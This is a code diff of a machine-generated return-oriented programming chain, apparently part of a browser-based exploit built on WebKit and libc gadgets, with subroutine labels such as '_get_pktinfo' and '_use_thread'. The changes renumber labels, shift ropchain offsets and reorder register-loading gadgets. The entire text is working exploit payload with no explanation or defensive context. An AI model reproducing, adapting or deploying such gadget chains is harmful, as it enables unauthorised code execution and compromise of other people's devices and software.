//pop r8 ]); -//L2974: +//L2957: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2975: +//L2958: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21598,32 +21531,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+192944, //L2976 +ropchain+192480, //L2959 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+192928, //L2977 +ropchain+192464, //L2960 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2977: +//L2960: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2976: +//L2959: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+193032, //L2979 +ropchain+192568, //L2962 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+193016, //L2978 +ropchain+192552, //L2961 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2978: +//L2961: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2979: +//L2962: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21633,17 +21566,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+193128, //L2980 +ropchain+192664, //L2963 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+193144, //L2981 +ropchain+192680, //L2964 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2980: +//L2963: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2981: +//L2964: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21653,19 +21586,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+193256, //L2982 +ropchain+192792, //L2965 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+193240, //L2983 +ropchain+192776, //L2966 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2983: +//L2966: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2982: +//L2965: db([0, 0]); // 0x0 -//L2936: +//L2919: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -21881,11 +21814,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+194584, //L2984 +ropchain+194120, //L2967 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2984: +//L2967: db([0, 0]); // 0x0 //_get_pktinfo: set_gadget(libc_base+793877,); //pop rsi @@ -21893,50 +21826,50 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+194656, //L2986 +ropchain+194192, //L2968 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2986: +//L2968: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+194720, //L2988 +ropchain+194256, //L2971 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2988: +//L2971: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2989: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2991: +//L2972: db([20, 0]); // 0x14 +set_gadget(libc_base+793877,); //pop rsi +//L2973: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+194864, //L2994 +ropchain+194384, //L2975 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2992: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L2994: +//L2975: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2976: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi @@ -21946,55 +21879,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+194968, //L2997 +ropchain+194488, //L2978 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2995: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L2997: +//L2978: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2979: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+195072, //L3000 +ropchain+194608, //L2983 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195056, //L2999 +ropchain+194592, //L2981 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2999: +//L2981: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3000: +//L2983: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+195216, //L3003 +ropchain+194752, //L2986 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195184, //L3001 +ropchain+194720, //L2984 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+195200, //L3002 +ropchain+194736, //L2985 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3001: +//L2984: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3002: +//L2985: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3003: +//L2986: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22003,7 +21936,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3004: +//L2987: db([46, 0]); // 0x2e set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22012,7 +21945,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3005: +//L2988: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22020,77 +21953,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+195408, //L3008 +ropchain+194928, //L2989 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3006: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3008: +//L2989: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2990: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+195512, //L3011 +ropchain+195048, //L2994 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195496, //L3010 +ropchain+195032, //L2992 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3010: +//L2992: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3011: +//L2994: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+195680, //L3014 +ropchain+195216, //L2997 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+195696, //L3015 +ropchain+195232, //L2998 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+195648, //L3012 +ropchain+195200, //L2995 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+195664, //L3013 +ropchain+195184, //L2996 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3012: +//L2996: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3013: +//L2995: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3014: +//L2997: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3015: +//L2998: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+195792, //L3017 +ropchain+195328, //L3000 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+195776, //L3016 +ropchain+195312, //L2999 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3016: +//L2999: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3017: +//L3000: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22098,8 +22031,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3019: -ropchain+195896, //L3018 +//L3002: +ropchain+195432, //L3001 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -22107,8 +22040,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+197968, //L3020 -//L3018: +ropchain+197504, //L3003 +//L3001: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -22116,250 +22049,250 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+196032, //L3022 +ropchain+195568, //L3005 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+196048, //L3023 +ropchain+195584, //L3006 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+196016, //L3021 +ropchain+195552, //L3004 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3021: +//L3004: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3022: +//L3005: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3023: +//L3006: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+196152, //L3026 +ropchain+195688, //L3009 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+196200, //L3028 +ropchain+195736, //L3011 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+196184, //L3027 +ropchain+195720, //L3010 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3026: +//L3009: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3025: +//L3008: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3027: +//L3010: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3028: +//L3011: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+196312, //L3029+8 +ropchain+195848, //L3012+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+196304, //L3029 +ropchain+195840, //L3012 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3029: +//L3012: db([0, 0]); // 0x0 set_gadgets([ -ropchain+196328, //L3029+24 -ropchain+196776, //L3024 +ropchain+195864, //L3012+24 +ropchain+196312, //L3007 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+196384, //L3031 +ropchain+195904, //L3013 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L3030: +//L3013: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3031: +set_gadget(libc_base+788575,); //pop rax +//L3014: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3032: +//L3015: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+196568, //L3035 +ropchain+196104, //L3018 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+196584, //L3036 +ropchain+196120, //L3019 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+196536, //L3033 +ropchain+196088, //L3016 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+196552, //L3034 +ropchain+196072, //L3017 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3033: +//L3017: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3034: +//L3016: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3035: +//L3018: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3036: +//L3019: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+196656, //L3037 +ropchain+196192, //L3020 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+196672, //L3038 +ropchain+196208, //L3021 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3037: +//L3020: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3038: +//L3021: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+196768, //L3040 +ropchain+196304, //L3023 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+196752, //L3039 +ropchain+196288, //L3022 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3039: +//L3022: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3040: +//L3023: db([0, 0]); // 0x0 -//L3024: +//L3007: set_gadgets([ libc_base+793877, //pop rsi -ropchain+196832, //L3043 +ropchain+196352, //L3024 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3041: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L3043: +//L3024: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3025: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+196936, //L3046 +ropchain+196472, //L3029 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+196920, //L3045 +ropchain+196456, //L3027 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3045: +//L3027: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3046: +//L3029: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+197104, //L3049 +ropchain+196640, //L3032 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197120, //L3050 +ropchain+196656, //L3033 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+197072, //L3047 +ropchain+196624, //L3030 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+197088, //L3048 +ropchain+196608, //L3031 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3047: +//L3031: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3048: +//L3030: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3049: +//L3032: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3050: +//L3033: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+197280, //L3054 +ropchain+196816, //L3037 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+197232, //L3051 +ropchain+196768, //L3035 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+197264, //L3053 +ropchain+196800, //L3036 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3051: +//L3035: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3052: +//L3034: db([32, 0]); // 0x20 set_gadget(libc_base+206806,); //pop rdi -//L3053: +//L3036: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3054: +//L3037: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+197392, //L3055 +ropchain+196928, //L3038 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197424, //L3057 +ropchain+196960, //L3040 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+197408, //L3056 +ropchain+196944, //L3039 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3055: +//L3038: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3056: +//L3039: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3057: +//L3040: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22369,17 +22302,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+197520, //L3058 +ropchain+197056, //L3041 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197536, //L3059 +ropchain+197072, //L3042 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L3058: +//L3041: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3059: +//L3042: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22389,32 +22322,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+197648, //L3060 +ropchain+197184, //L3043 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197632, //L3061 +ropchain+197168, //L3044 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3061: +//L3044: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L3060: +//L3043: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+197736, //L3063 +ropchain+197272, //L3046 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+197720, //L3062 +ropchain+197256, //L3045 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3062: +//L3045: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3063: +//L3046: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22424,17 +22357,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+197832, //L3064 +ropchain+197368, //L3047 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197848, //L3065 +ropchain+197384, //L3048 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L3064: +//L3047: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3065: +//L3048: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22444,19 +22377,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+197960, //L3066 +ropchain+197496, //L3049 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+197944, //L3067 +ropchain+197480, //L3050 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3067: +//L3050: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L3066: +//L3049: db([0, 0]); // 0x0 -//L3020: +//L3003: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -22672,11 +22605,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199288, //L3068 +ropchain+198824, //L3051 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3068: +//L3051: db([0, 0]); // 0x0 //_use_thread: set_gadget(libc_base+793877,); //pop rsi @@ -22684,114 +22617,114 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+199360, //L3070 +ropchain+198896, //L3052 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L3070: +//L3052: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199424, //L3072 +ropchain+198960, //L3055 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L3072: +//L3055: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([40, 0]); // 0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3073: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3075: +//L3056: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3057: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+199592, //L3078 +ropchain+199128, //L3061 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199576, //L3077 +ropchain+199112, //L3059 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3077: +//L3059: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3078: +//L3061: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+199696, //L3081 +ropchain+199216, //L3062 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+199712, //L3082 +ropchain+199248, //L3065 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3079: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3081: +//L3062: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3063: +db([4294967288, 4294967295]); // -0x8 set_gadget(libc_base+206806,); //pop rdi -//L3082: +//L3065: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+199800, //L3085 +ropchain+199320, //L3066 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3083: -db([4294967264, 4294967295]); // -0x20 -set_gadget(libc_base+792472,); //pop rcx -//L3085: +//L3066: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3067: +db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+199872, //L3088 +ropchain+199392, //L3069 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3086: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L3088: +//L3069: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3070: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+199944, //L3090 +ropchain+199464, //L3072 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L3089: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L3090: +//L3072: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L3073: +db([12, 0]); // 0xc set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ @@ -22799,7 +22732,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3091: +//L3074: db([8, 0]); // 0x8 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22808,39 +22741,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+200072, //L3093 +ropchain+199608, //L3075 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3093: +//L3075: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3092: +//L3076: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3094: +//L3077: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+200208, //L3095 +ropchain+199744, //L3078 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+200240, //L3097 +ropchain+199776, //L3080 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+200224, //L3096 +ropchain+199760, //L3079 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3095: +//L3078: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3096: +//L3079: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3097: +//L3080: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22851,17 +22784,17 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+200344, //L3098 +ropchain+199880, //L3081 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+200360, //L3099 +ropchain+199896, //L3082 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3098: +//L3081: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3099: +//L3082: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -22879,7 +22812,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3100: +//L3083: db([8, 0]); // 0x8 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -22888,39 +22821,39 